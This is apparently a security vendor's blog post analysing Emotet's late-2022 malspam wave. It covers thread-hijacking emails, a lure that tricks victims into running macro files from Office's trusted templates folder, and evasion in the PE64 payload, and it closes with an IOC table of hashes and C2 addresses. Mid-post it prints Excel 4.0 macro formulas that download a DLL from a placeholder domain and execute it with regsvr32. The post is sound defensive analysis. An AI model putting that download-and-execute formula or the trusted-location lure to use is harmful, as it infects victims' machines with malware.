<a href="https://www.deepinstinct.com/glossary/emotet-malware" target="_self">Emotet</a> is a prolific malware botnet that originally functioned as a banking trojan when it emerged in 2014. It was spread via spam campaigns, imitating financial statements, transfers, and payment invoices. Emotet is propagated mostly via Office email attachments containing a macro. If enabled, it downloads a malicious PE file (Emotet) which is then executed.The Emotet operation was <a href="https://www.eurojust.europa.eu/news/worlds-most-dangerous-malware-emotet-disrupted-through-global-action" target="_self">disrupted</a> in early 2021, but after few a few months of inactivity for what we will call "summer vacation," it has re-emerged with nearly daily activity since mid-October.<figure style = "margin: auto; text-align: center;width: 710px;"><img asset_uid="blt80698e15f9b02a73" alt="Figure 1: Emotet activity showing no new spam from mid-July until start of November (Source: MalwareBazaar*) " src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt80698e15f9b02a73/63767803cca9f010a904d2e4/fig01-emotet-activity-low-july-novemeber.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 1: Emotet activity showing no new spam from mid-July until start of November (Source: MalwareBazaar*)</figcaption></figure>The first thing the botnet operators did upon re-emergence was update currently infected computers with new versions of the malware:<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltaa79aa54ea1e2fc3" alt="Figure 2: Observed initial Emotet activity after vacation (Source: Twitter†)" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltaa79aa54ea1e2fc3/63767803a3fffc10b9dc368a/fig02-initial-activity-after-vacation.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 2: Observed initial Emotet activity after vacation (Source: Twitter†)</figcaption></figure><h3>Delivery via Thread Hijacking Email&nbsp;</h3>The current wave of Emotet malspam is delivered via “thread hijacking” emails. The attachments come in both password-protected zips as well as plain attachments:&nbsp;<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt2ec0c89b190805dd" alt="Figure 3: Email containing a password protected zip attachment" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2ec0c89b190805dd/63767803b71d091081d0c30b/fig03-emotet-thread-hijacking-email-with-password-protected-zip-file.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 3: Email containing a password protected zip attachment</figcaption></figure>&nbsp;<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt7579199abada7ac9" alt="Figure 4: Emotet’s malicious Office attachment without a password protected zip" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7579199abada7ac9/637678030d85671097f17969/fig04-emotet-malicious-office-file-without-password-protected-zip.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 4: Emotet’s malicious Office attachment without a password protected zip</figcaption></figure>&nbsp;<h3>Changes in Emotet Malspam</h3>Before going on vacation, Emotet malspam consisted of XLS files with an Excel 4.0 macro.&nbsp;The files contained a simple social engineering image that asks the victim to enable content which will cause the macro to execute:<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltf8c6eab37cbba73a" alt="Figure 5: Emotet XLS file from July (a2daa1b6f2dccc95e9a7d8d89932c7d7936aa2e53bbf4921f81f5b38257d5894)" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf8c6eab37cbba73a/6376780314868d10af0dd24e/fig05-emotet-excel-file-july.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 5: Emotet XLS file from July (a2daa1b6f2dccc95e9a7d8d89932c7d7936aa2e53bbf4921f81f5b38257d5894)</figcaption></figure>&nbsp;After vacation ended, the Emotet wave still includes XLS files, however, the social engineering element has changed:&nbsp;<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltc5c1a7c601b1d9f2" alt="Figure 6: New social engineering lure used by Emotet" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc5c1a7c601b1d9f2/63767803ea930410907d92ab/fig06-new-social-engineering-lure-used-by-emotet.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 6: New social engineering lure used by Emotet</figcaption></figure>&nbsp;The victim is asked to copy and execute the file from the templates folder of Microsoft Office.Executing Office files from this location bypasses the security warning and the Excel 4.0 macro is executed automatically when the file is opened:&nbsp;<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltbe819b5868652e58" alt="Figure 7: The templates folder is a trusted location allowing auto execution of macros" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltbe819b5868652e58/637678034005df1070afd4a3/fig07-emotet-asks-to-execute-from-trusted-location.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 7: The templates folder is a trusted location allowing auto execution of macros</figcaption></figure>&nbsp;<blockquote>Advice: Cybersecurity and IT teams should either disable trusted locations and/or limit write access to such locations to unprivileged users, as well as proactively hunt for suspicious executions from those locations.</blockquote>&nbsp;Besides this social engineering piece, the techniques used by Emotet didn’t change much. When manually checking the sheets, they look empty, however, they contain hidden values:<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt7d1d3fb44095d19c" alt="Figure 8: “Empty” sheets used by Emotet" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7d1d3fb44095d19c/637678037a64f810a2985142/fig08-emotet-excel-looks-empty-but-contains-hidden-values.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 8: “Empty” sheets used by Emotet</figcaption></figure>The auto_open macro is also hidden:&nbsp;<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltf86e1c7e91a2a0b1" alt="Figure 9: Hidden column containing “Auto_Open” macro" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf86e1c7e91a2a0b1/637678035bd399105c6f954a/fig09-emotet-hidden-column-containing-auto_open-macro.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 9: Hidden column containing “Auto_Open” macro</figcaption></figure>The formula concatenates values from different cells to eventually assemble, download, and execute the Emotet DLL. This is done to avoid static detection of common endpoint solutions.The end results should look like this:<pre> =FORMULA(=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://compromised_domain/random/path/","..\oxnv1.ooccxx",0,0),G16) =FORMULA(=EXEC("C:\Windows\System32\regsvr32.exe ..\oxnv1.ooccxx"),G18) </pre>&nbsp;<h3>The Emotet Payload&nbsp;</h3>Emotet operations moved from PE32 to PE64 executables in mid 2022, adding several new features and rebuilding some of its older code. The overall structure remained the same.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt8dd3be555205e6d3" alt="Figure 10: PE64 new Emotet (DetectItEasy)" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt8dd3be555205e6d3/63767803f2301411a4c544d0/fig10-pe64-new-emotet.jpg" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 10: PE64 new Emotet (DetectItEasy)</figcaption></figure>From the configuration extraction of Emotet we can see the malicious IPs list, as well as evidence of them using the epoch4 botnet and the ECDH and ECDSA keys (See IOCs table).In an attempt to look like a legitimate application when scanned, Emotet is using C++ libraries licensed by DinkumWare.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt45389745b5e5e954" alt="Figure 11: Dinkumware C++ library." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt45389745b5e5e954/637678037140e510ae4a6595/fig11.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 11: Dinkumware C++ library.</figcaption></figure>&nbsp;<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt6e0a2377b690d4b6" alt="Figure 12: Dinkumware website (www.dinkumware.com)" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6e0a2377b690d4b6/63767803e07e1711051cf501/fig12-dinkumware-website.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 12: Dinkumware website (www.dinkumware.com)</figcaption></figure>&nbsp;Additionally, Emotet has a few loops to mimic legitimate behavior during runtime, for example “printing benign strings.”<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt3a3e5c801db03c70" alt="Figure 13: Print benign strings function" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3a3e5c801db03c70/637678030c4e351095246a2d/fig13-print-benign-strings-function.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 13: Print benign strings function</figcaption></figure>Even building a Sudoku and checking your board number (not really…)<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt1cf128b7b3064651" alt="Figure 14: Benign String" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1cf128b7b3064651/637678038db6e810ab779660/fig14-benign-strings.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 14: Benign String</figcaption></figure><h3>The Real Emotet Job</h3>The final DLL is decrypted and uploaded to memory during runtime, making investigation and detection more difficult. Even the API call to VirtualAlloc is obfuscated, like their older version, and the address of the API is retrieved dynamically. The parameters of the call are saved as a STRING and converted to INT during runtime.You can read more on that technique in the <a href="https://www.deepinstinct.com/blog/why-emotets-latest-wave-is-harder-to-catch-than-ever-before" target="_self">previous blog by Deep Instinct</a><figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blte2889a1605207f51" alt="Figure 15: VirtualAlloc detection evasion" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte2889a1605207f51/63767803a32209106e8b2cf0/fig15-virtualalloc-detection-evasion.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 15: VirtualAlloc detection evasion</figcaption></figure>&nbsp;The payload itself is encrypted and then encoded using base64:<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltd187c53c7641b63c" alt="Figure 16: Encrypted payload in base64" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd187c53c7641b63c/63767803da728110eb03c2d3/fig16-encrypted-payload-base64.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 16: Encrypted payload in base64</figcaption></figure>Once the malware is executed, it decodes the base64 text into binary data:<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt61348c5a78f1ec79" alt="Figure 17: Base64 binary data" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt61348c5a78f1ec79/6376780325cf5b10b6e37c0b/fig17-base64-binary-data.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 17: Base64 binary data</figcaption></figure>The binary data is then decrypted and we finally get the payload, easily identified by the “MZ… this program cannot be run in DOS mode.”<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltc549a0aeed623175" alt="Figure 18: Final payload revealed" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc549a0aeed623175/63767803f558fc10bda7868c/fig18-final-payload-revealed.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 18: Final payload revealed</figcaption></figure>Some other artifacts that are similar to the previous generation of Emotet include the following:<ul><li>Empty import table <figure style = "float: none;width: auto;max-width:auto;"><img asset_uid="blt7eba19025e9da703" alt="Figure 19: Empty Import table" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7eba19025e9da703/63767803fa033a109b5d7452/fig19-empty-import-table.png" /><figcaption >Figure 19: Empty Import table</figcaption></figure>&nbsp;</li><li>Minimal informative string <figure style = "float: none;width: auto;max-width:auto;"><img asset_uid="bltac00ef7ddb31ebc6" alt="Figure 20: String of the executable file" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltac00ef7ddb31ebc6/63767803ed757210a08922e9/fig20-string-of-executable-files.png" /><figcaption >Figure 20: String of the executable file</figcaption></figure>&nbsp;</li><li>Similar code flow flattening technique <figure style = "float: none;width: auto;max-width:auto;"><img asset_uid="blt8dbdf84e9d7c36e4" alt="Figure 21: Code flow of Emotet" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt8dbdf84e9d7c36e4/63767803cdfe2310972d4fd1/fig21-code-flow-emotet.png" /><figcaption >Figure 21: Code flow of Emotet</figcaption></figure></li></ul>&nbsp;You can read more about these techniques in Deep Instinct’s <a href="https://www.deepinstinct.com/blog/the-re-emergence-of-emotet" target="_self">previous blog about Emotet</a>.The multi-step techniques detailed result in late detection only when the decrypted PE is uploaded to the memory, therefore, we see a low detection rate in VT for the initial DLL, while the decrypted DLL gets a higher detection rate.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltb84eb65afeab392a" alt="Figure 22: Initial Emotet Dll" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb84eb65afeab392a/637678039d1a721199be42f9/fig22-initial-emotet-dll.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 22: Initial Emotet Dll</figcaption></figure><figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt9203cd2682aa4c2f" alt="Figure 23: Final Emotet payload" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9203cd2682aa4c2f/637678032938151067563dd7/fig23-final-emotet-payload.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 23: Final Emotet payload</figcaption></figure>&nbsp;<h3>Conclusion</h3>Emotet has returned to send malspam after a few months of summer break.The current waves don’t show much change from those before their vacation; they’re still trying to bypass detection by making some minor changes, adding benign code blocks, and moving to PE64.Emotet has slightly altered its techniques and TTPs over the years as the threat landscape shifts in favor of new initial infection vectors and new bypassing methods.We wouldn’t be surprised if we saw Emotet shift from Excel 4.0 macros to another initial infection vector that would yield them more successful infections in the near-term future.Deep Instinct customers are protected from the new Emotet campaign by multiple protection layers, both statically and dynamically, resulting in pre-execution prevention.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt19ba2662ee21c9f9" alt="Figure 24: Static engine prevention for Emotet’s malicious Office file" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt19ba2662ee21c9f9/6376716ba3fffc10b9dc3657/fig24-deep-instinct-static-analysis-blocked-emotet.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 24: Static engine prevention for Emotet’s malicious Office file</figcaption></figure><h3>IOC</h3><table><thead class="bg-grey"><tr><th>&nbsp;</th><th>Password Protected Zip samples</th><th>Plain Attachment samples</th></tr></thead><tbody><tr><td>ZIP</td><td>19c43584bd90e6507ba4a4dad59fdf3a</td><td>N/A</td></tr><tr><td>XLS</td><td>e99144862c6a3bb1d25846e962dc1633</td><td>893f9b10a48073fc3fa0d5c8867f7200</td></tr><tr><td>DLL</td><td>b0ebf252754995807a8fe9dca7a063b8</td><td>bf488b48716275f2e3dc9efc7fea4aea</td></tr><tr><td>DLL Decrypted</td><td colspan="2">236AE63E2AC25B35EDBCECA4443BD95F </td></tr><tr><td>C2</td><td>45.235.8.30:8080 94.23.45.86:4143 119.59.103.152:8080 169.60.181.70:8080 164.68.99.3:8080 172.105.226.75:8080 107.170.39.149:8080 206.189.28.199:8080 1.234.2.232:8080 188.44.20.25:443 186.194.240.217:443 103.43.75.120:443 149.28.143.92:443 159.89.202.34:443 209.97.163.214:443 183.111.227.137:8080 129.232.188.93:443 139.59.126.41:443 110.232.117.186:8080 139.59.56.73:8080 103.75.201.2:443 91.207.28.33:8080 164.90.222.65:443 197.242.150.244:8080 212.24.98.99:8080 51.161.73.194:443 115.68.227.76:8080 159.65.88.10:8080 </td><td>201.94.166.162:443 95.217.221.146:8080 173.212.193.249:8080 82.223.21.224:8080 103.132.242.26:8080 213.239.212.5:443 153.126.146.25:7080 45.176.232.124:443 182.162.143.56:443 169.57.156.166:8080 159.65.140.115:443 163.44.196.120:8080 172.104.251.154:8080 167.172.253.162:8080 91.187.140.35:8080 45.118.115.99:8080 147.139.166.154:8080 72.15.201.15:8080 149.56.131.28:8080 167.172.199.165:8080 101.50.0.91:8080 160.16.142.56:8080 185.4.135.165:8080 104.168.155.143:8080 79.137.35.198:8080 5.135.159.50:443 187.63.160.88:80 </td></tr><tr><td>Eck1</td><td colspan="2">MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE86M1tQ4uK/Q1Vs0KTCk+fPEQ3cuw TyCz+gIgzky2DB5Elr60DubJW5q9Tr2dj8/gEFs0TIIEJgLTuqzx+58sdg== </td></tr><tr><td>Eck2</td><td colspan="2">MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEQF90tsTY3Aw9HwZ6N9y5+be9Xoov pqHyD6F5DRTl9THosAoePIs/e5AdJiYxhmV8Gq3Zw1ysSPBghxjZdDxY+Q==</td></tr></tbody></table>&nbsp;<h3>References</h3>* Figure 1: <a href="https://bazaar.abuse.ch/browse/signature/Heodo/" target="_blank">MalwareBazaar</a>† Figure 2: <a href="https://twitter.com/Cryptolaemus1/status/1580261200331689984" target="_blank">Twitter</a>

DIANNA, the DSX Companion, provides real-time explainability of the threats that matter.

Mark Vaitzman

From Mark Vaitzman.